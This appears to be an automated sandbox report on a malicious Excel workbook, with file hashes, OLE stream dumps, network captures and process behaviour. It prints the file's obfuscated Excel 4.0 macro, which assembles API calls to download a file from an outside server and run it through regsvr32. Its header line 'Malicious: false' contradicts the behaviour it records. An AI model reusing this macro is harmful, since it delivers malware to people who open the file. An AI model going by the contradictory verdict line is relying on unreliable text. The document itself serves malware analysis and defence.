| Malicious: | false |
| Preview: |
|
Static File Info |
|---|
General | |
|---|---|
| File type: | |
| Entropy (8bit): | 7.5234718640432785 |
| TrID: |
|
| File name: | document-1333887362.xls |
| File size: | 338944 |
| MD5: | d73c6ac8fe30f97b9751740e5990cf40 |
| SHA1: | 66f33cf632df26d83ef1ecac6df9a0dd7471adda |
| SHA256: | 943972111562181bc947f598310ba1868a32a18ad8344419af1e4654e472c49a |
| SHA512: | 7da7a36a1cd8be880225d0fde0708719ebffb7e8004e0f9bc48855b8d1731afcb9f22f1e9b5f15ce2a46a05940a16c20b67b60a9459b2cc2095ad1b6d9ba379a |
| SSDEEP: | 6144:QcKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpTU:4izo8RnsIROnr6n75YN |
| File Content Preview: | ........................>...................................................................................................................................................................................................................................... |
File Icon |
|---|
 | |
| Icon Hash: | 74ecd4c6c3c6c4d8 |
Static OLE Info |
|---|
General | ||
|---|---|---|
| Document Type: | OLE | |
| Number of OLE Files: | 1 | |
OLE File "document-1333887362.xls" |
|---|
Indicators | |
|---|---|
| Has Summary Info: | True |
| Application Name: | Microsoft Excel |
| Encrypted Document: | False |
| Contains Word Document Stream: | False |
| Contains Workbook/Book Stream: | True |
| Contains PowerPoint Document Stream: | False |
| Contains Visio Document Stream: | False |
| Contains ObjectPool Stream: | |
| Flash Objects Count: | |
| Contains VBA Macros: | True |
Summary | |
|---|---|
| Code Page: | 1251 |
| Author: | |
| Last Saved By: | |
| Create Time: | 2006-09-16 00:00:00 |
| Last Saved Time: | 2020-11-26 09:48:42 |
| Creating Application: | |
| Security: | 0 |
Document Summary | |
|---|---|
| Document Code Page: | 1251 |
| Thumbnail Scaling Desired: | False |
| Contains Dirty Links: | False |
| Shared Document: | False |
| Changed Hyperlinks: | False |
| Application Version: | 917504 |
Streams |
|---|
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5DocumentSummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.367004077607 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00 |
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5SummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.25260634675 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . . R . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00 |
Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326317 |
|---|
General | |
|---|---|
| Stream Path: | Workbook |
| File Type: | Applesoft BASIC program data, first line number 16 |
| Stream Size: | 326317 |
| Entropy: | 7.65589543371 |
| Base64 Encoded: | True |
| Data ASCII: | . . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . . |
| Data Raw: | 09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
Macro 4.0 Code |
|---|
CALL("Ke"&????2!IE349&"32", "Cr"&????2!IG377&"yA", "JCJ", ????2!HV347&????2!HV362, 0)
CALL("U"&????2!IG367, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HV347&????2!HV362&????2!HV376, 0, 0)
=RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!IE349&""32"",""Cr""&????2!IG377&""yA"",""JCJ"",????2!HV347&????2!HV362,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!IE349&""32"",""Cr""&????2!IG377&""yA"",""JCJ"",????2!HV347,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108"=CALL(""U""&????2!IG367,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!HV347&????2!HV362&????2!HV376,0,0)"=EXEC(????3!W36&????2!HV347&????2!HV362&????2!HV376)=HALT()
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library NodeNetwork Behavior |
|---|
Network Port Distribution |
|---|
TCP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2020 05:58:46.814214945 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:46.943104029 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:46.943239927 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:46.944803953 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:47.073647022 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:47.075958967 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:47.075999975 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:47.076026917 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:47.076073885 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:47.076119900 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:47.094722986 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:47.224097013 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:47.224344015 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:47.225039959 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:47.393418074 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680790901 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680814028 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680830002 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680845976 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680869102 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680890083 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680907011 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680921078 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.680928946 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680949926 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.680974960 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.680984974 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.680991888 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.680998087 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.681051016 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.681140900 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.685628891 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.685657024 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.809722900 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.809766054 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.809801102 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.809803009 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.809843063 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.809845924 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.809851885 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.809880972 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.809911966 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.809928894 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
| Nov 29, 2020 05:58:48.814244032 CET | 443 | 49715 | 67.212.179.162 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.814302921 CET | 49715 | 443 | 192.168.2.3 | 67.212.179.162 |
UDP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2020 05:58:30.368592978 CET | 50620 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:30.395766020 CET | 53 | 50620 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:30.808382034 CET | 64938 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:30.844224930 CET | 53 | 64938 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:31.496495008 CET | 60152 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:31.531929016 CET | 53 | 60152 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:32.239263058 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:32.266560078 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:33.293678045 CET | 55984 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:33.329235077 CET | 53 | 55984 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:34.112247944 CET | 64185 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:34.148145914 CET | 53 | 64185 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:34.812313080 CET | 65110 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:34.839581966 CET | 53 | 65110 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:35.763945103 CET | 58361 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:35.799542904 CET | 53 | 58361 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:38.855550051 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:38.882914066 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:41.458878994 CET | 60831 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:41.486166954 CET | 53 | 60831 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:42.515991926 CET | 60100 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:42.555370092 CET | 53 | 60100 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:42.863087893 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:42.898718119 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:43.448863029 CET | 50141 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:43.484410048 CET | 53 | 50141 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:43.891505003 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:43.927335978 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:44.896421909 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:44.931840897 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:45.723424911 CET | 53023 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:45.750569105 CET | 53 | 53023 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:46.776565075 CET | 49563 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:46.812114000 CET | 53 | 49563 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:46.911794901 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:46.947168112 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:47.364320040 CET | 51352 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:47.391616106 CET | 53 | 51352 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:48.451550007 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:48.478734016 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:50.927834988 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:50.963490009 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:56.668839931 CET | 57084 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:56.695990086 CET | 53 | 57084 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:56.738647938 CET | 58823 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:56.765809059 CET | 53 | 58823 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:57.900168896 CET | 57568 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:57.935775042 CET | 53 | 57568 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:58.621524096 CET | 50540 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:58.648760080 CET | 53 | 50540 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:58:59.791254997 CET | 54366 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:58:59.818346024 CET | 53 | 54366 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:59:01.250061989 CET | 53034 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:59:01.277493954 CET | 53 | 53034 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:59:03.404239893 CET | 57762 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:59:03.462973118 CET | 53 | 57762 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:59:04.107391119 CET | 55435 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:59:04.134694099 CET | 53 | 55435 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:59:13.949980021 CET | 50713 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:59:13.999325037 CET | 53 | 50713 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:59:31.762411118 CET | 56132 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:59:31.789547920 CET | 53 | 56132 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 05:59:36.106853008 CET | 58987 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 05:59:36.143505096 CET | 53 | 58987 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 06:00:06.313721895 CET | 56579 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 06:00:06.340996981 CET | 53 | 56579 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 06:00:07.618444920 CET | 60633 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 06:00:07.670135021 CET | 53 | 60633 | 8.8.8.8 | 192.168.2.3 |
DNS Queries |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
|---|---|---|---|---|---|---|---|
| Nov 29, 2020 05:58:46.776565075 CET | 192.168.2.3 | 8.8.8.8 | 0xde02 | Standard query (0) | A (IP address) | IN (0x0001) |
DNS Answers |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
|---|---|---|---|---|---|---|---|---|---|
| Nov 29, 2020 05:58:46.812114000 CET | 8.8.8.8 | 192.168.2.3 | 0xde02 | No error (0) | 67.212.179.162 | A (IP address) | IN (0x0001) |
HTTPS Packets |
|---|
| Timestamp | Source IP | Source Port | Dest IP | Dest Port | Subject | Issuer | Not Before | Not After | JA3 SSL Client Fingerprint | JA3 SSL Client Digest |
|---|---|---|---|---|---|---|---|---|---|---|
| Nov 29, 2020 05:58:47.075999975 CET | 67.212.179.162 | 443 | 192.168.2.3 | 49715 | CN=fu5on.com CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US | CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. | Mon Nov 09 01:37:15 CET 2020 Thu Mar 17 17:40:46 CET 2016 | Sun Feb 07 01:37:15 CET 2021 Wed Mar 17 17:40:46 CET 2021 | 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0 | 37f463bf4616ecd445d4a1937da06e19 |
| CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US | CN=DST Root CA X3, O=Digital Signature Trust Co. | Thu Mar 17 17:40:46 CET 2016 | Wed Mar 17 17:40:46 CET 2021 |
Code Manipulations |
|---|
Statistics |
|---|
Behavior |
|---|
Click to jump to process
System Behavior |
|---|
General |
|---|
| Start time: | 05:58:41 |
| Start date: | 29/11/2020 |
| Path: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x1030000 |
| File size: | 27110184 bytes |
| MD5 hash: | 5D6638F2C8F8571C593999C58866007E |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 05:58:48 |
| Start date: | 29/11/2020 |
| Path: | C:\Windows\SysWOW64\regsvr32.exe |
| Wow64 process (32bit): | true |
